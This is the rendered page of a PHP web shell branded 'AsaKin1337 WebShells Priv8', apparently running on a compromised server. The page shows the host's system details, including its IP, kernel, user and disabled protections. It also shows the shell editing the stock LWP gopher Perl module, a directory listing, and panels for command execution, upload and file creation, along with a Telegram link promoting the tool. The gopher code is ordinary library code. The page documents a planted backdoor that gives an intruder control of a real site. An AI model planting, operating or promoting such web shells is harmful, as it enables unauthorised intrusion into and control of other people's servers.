depaninfo27.fr - AsaKin1337 WebShells

! AsaKin1337 WebShells Priv8 Version !
Safe-mode: OFF (not secure) Disable Functions: None Host: Linux vps90796 6.1.0-0.deb11.50-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.176-1~deb11u1 (2026-07-02) x86_64 User: web39 Software: Apache IP: 185.98.128.85 PHP: 8.3.12 CURL:ON SSH2:OFF Magic Quotes:OFF MySQL:ON MSSQL:OFF PostgreSQL:OFF Oracle:OFF CGI:OFF /usr/share/perl5/LWP/Protocol/

! AsaKin1337 WebShells Priv8 Version !

Safe-mode: OFF (not secure)

Disable Functions: None

Host: Linux vps90796 6.1.0-0.deb11.50-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.176-1~deb11u1 (2026-07-02) x86_64

User: web39

Software: Apache

IP: 185.98.128.85

PHP: 8.3.12

CURL:ON SSH2:OFF Magic Quotes:OFF MySQL:ON MSSQL:OFF PostgreSQL:OFF Oracle:OFF CGI:OFF

/usr/share/perl5/LWP/Protocol/

Edit File: gopher.pm

package LWP::Protocol::gopher;

# Implementation of the gopher protocol (RFC 1436)
#
# This code is based on 'wwwgopher.pl,v 0.10 1994/10/17 18:12:34 shelden'
# which in turn is a vastly modified version of Oscar's http'get()
# dated 28/3/94 in <ftp://cui.unige.ch/PUBLIC/oscar/scripts/http.pl>
# including contributions from Marc van Heyningen and Martijn Koster.

use strict;

our $VERSION = '6.68';

require HTTP::Response;
require HTTP::Status;
require IO::Socket;
require IO::Select;

use parent qw(LWP::Protocol);

my %gopher2mimetype = (
    '0' => 'text/plain',                # 0 file
    '1' => 'text/html',                 # 1 menu
					# 2 CSO phone-book server
					# 3 Error
    '4' => 'application/mac-binhex40',  # 4 BinHexed Macintosh file
    '5' => 'application/zip',           # 5 DOS binary archive of some sort
    '6' => 'application/octet-stream',  # 6 UNIX uuencoded file.
    '7' => 'text/html',                 # 7 Index-Search server
					# 8 telnet session
    '9' => 'application/octet-stream',  # 9 binary file
    'h' => 'text/html',                 # html
    'g' => 'image/gif',                 # gif
    'I' => 'image/*',                   # some kind of image
);

my %gopher2encoding = (
    '6' => 'x_uuencode',                # 6 UNIX uuencoded file.
);

sub request
{
    my($self, $request, $proxy, $arg, $size, $timeout) = @_;

$size = 4096 unless $size;

# check proxy
    if (defined $proxy) {
	return HTTP::Response->new(HTTP::Status::RC_BAD_REQUEST,
				   'You can not proxy through the gopher');
    }

my $url = $request->uri;
    die "bad scheme" if $url->scheme ne 'gopher';

my $method = $request->method;
    unless ($method eq 'GET' || $method eq 'HEAD') {
	return HTTP::Response->new(HTTP::Status::RC_BAD_REQUEST,
				   'Library does not allow method ' .
				   "$method for 'gopher:' URLs");
    }

my $gophertype = $url->gopher_type;
    unless (exists $gopher2mimetype{$gophertype}) {
	return HTTP::Response->new(HTTP::Status::RC_NOT_IMPLEMENTED,
				   'Library does not support gophertype ' .
				   $gophertype);
    }

my $response = HTTP::Response->new(HTTP::Status::RC_OK, "OK");
    $response->header('Content-type' => $gopher2mimetype{$gophertype}
					|| 'text/plain');
    $response->header('Content-Encoding' => $gopher2encoding{$gophertype})
	if exists $gopher2encoding{$gophertype};

if ($method eq 'HEAD') {
	# XXX: don't even try it so we set this header
	$response->header('Client-Warning' => 'Client answer only');
	return $response;
    }

if ($gophertype eq '7' && ! $url->search) {
      # the url is the prompt for a gopher search; supply boiler-plate
      return $self->collect_once($arg, $response, <<"EOT");
<HEAD>
<TITLE>Gopher Index</TITLE>
<ISINDEX>
</HEAD>
<BODY>
<H1>$url<BR>Gopher Search</H1>
This is a searchable Gopher index.
Use the search function of your browser to enter search terms.
</BODY>
EOT
    }

my $host = $url->host;
    my $port = $url->port;

my $requestLine = "";

my $selector = $url->selector;
    if (defined $selector) {
	$requestLine .= $selector;
	my $search = $url->search;
	if (defined $search) {
	    $requestLine .= "\t$search";
	    my $string = $url->string;
	    if (defined $string) {
		$requestLine .= "\t$string";
	    }
	}
    }
    $requestLine .= "\015\012";

# potential request headers are just ignored

# Ok, lets make the request
    my $socket = IO::Socket::INET->new(PeerAddr => $host,
				       PeerPort => $port,
				       LocalAddr => $self->{ua}{local_address},
				       Proto    => 'tcp',
				       Timeout  => $timeout);
    die "Can't connect to $host:$port" unless $socket;
    my $sel = IO::Select->new($socket);

{
	die "write timeout" if $timeout && !$sel->can_write($timeout);
	my $n = syswrite($socket, $requestLine, length($requestLine));
	die $! unless defined($n);
	die "short write" if $n != length($requestLine);
    }

my $user_arg = $arg;

# must handle menus in a special way since they are to be
    # converted to HTML.  Undefing $arg ensures that the user does
    # not see the data before we get a change to convert it.
    $arg = undef if $gophertype eq '1' || $gophertype eq '7';

# collect response
    my $buf = '';
    $response = $self->collect($arg, $response, sub {
	die "read timeout" if $timeout && !$sel->can_read($timeout);
        my $n = sysread($socket, $buf, $size);
	die $! unless defined($n);
	return \$buf;
      } );

# Convert menu to HTML and return data to user.
    if ($gophertype eq '1' || $gophertype eq '7') {
	my $content = menu2html($response->content);
	if (defined $user_arg) {
	    $response = $self->collect_once($user_arg, $response, $content);
	}
	else {
	    $response->content($content);
	}
    }

$response;
}

sub gopher2url
{
    my($gophertype, $path, $host, $port) = @_;

my $url;

if ($gophertype eq '8' || $gophertype eq 'T') {
	# telnet session
	$url = $HTTP::URI_CLASS->new($gophertype eq '8' ? 'telnet:':'tn3270:');
	$url->user($path) if defined $path;
    }
    else {
	$path = URI::Escape::uri_escape($path);
	$url = $HTTP::URI_CLASS->new("gopher:/$gophertype$path");
    }
    $url->host($host);
    $url->port($port);
    $url;
}

sub menu2html {
    my($menu) = @_;

$menu =~ tr/\015//d;  # remove carriage return
    my $tmp = <<"EOT";
<HTML>
<HEAD>
   <TITLE>Gopher menu</TITLE>
</HEAD>
<BODY>
<H1>Gopher menu</H1>
EOT
    for (split("\n", $menu)) {
	last if /^\./;
	my($pretty, $path, $host, $port) = split("\t");

$pretty =~ s/^(.)//;
	my $type = $1;

my $url = gopher2url($type, $path, $host, $port)->as_string;
	$tmp .= qq{<A HREF="$url">$pretty</A><BR>\n};
    }
    $tmp .= "</BODY>\n</HTML>\n";
    $tmp;
}

Cancel

Listing directory:

Name	Size	Modify	Owner/Group	Perms	Action	Select
cpan.pm	1.33 KB	27.02.2023 19:18:39	0/0	-rw-r--r--	Edit Rename Download
data.pm	1.21 KB	27.02.2023 19:18:39	0/0	-rw-r--r--	Edit Rename Download
file.pm	3.75 KB	27.02.2023 19:18:39	0/0	-rw-r--r--	Edit Rename Download
ftp.pm	18.7 KB	27.02.2023 19:18:39	0/0	-rw-r--r--	Edit Rename Download
gopher.pm	5.6 KB	27.02.2023 19:18:39	0/0	-rw-r--r--	Edit Rename Download
http.pm	14.76 KB	27.02.2023 19:18:39	0/0	-rw-r--r--	Edit Rename Download
https.pm	6.33 KB	21.12.2020 19:39:14	0/0	-rw-r--r--	Edit Rename Download
ldap.pm	9.1 KB	26.12.2020 15:16:38	0/0	-rw-r--r--	Edit Rename Download
ldapi.pm	902 B	26.12.2020 15:16:38	0/0	-rw-r--r--	Edit Rename Download
ldaps.pm	858 B	26.12.2020 15:16:38	0/0	-rw-r--r--	Edit Rename Download
loopback.pm	588 B	27.02.2023 19:18:39	0/0	-rw-r--r--	Edit Rename Download
mailto.pm	4.3 KB	27.02.2023 19:18:39	0/0	-rw-r--r--	Edit Rename Download
nntp.pm	4.1 KB	27.02.2023 19:18:39	0/0	-rw-r--r--	Edit Rename Download
nogo.pm	612 B	27.02.2023 19:18:39	0/0	-rw-r--r--	Edit Rename Download

:: Command Execute ::
Enter Command:	Select Command:

:: Search ::

:: Upload ::

:: Make Dir ::

:: Make File ::

--[ AsaKin1337 WebShells Priv8 Version5 (01.07.2025) SINDIKAT 777 TEAM | https://t.me/AsaKin1337 | Generation time: 1783913302.7012 ]--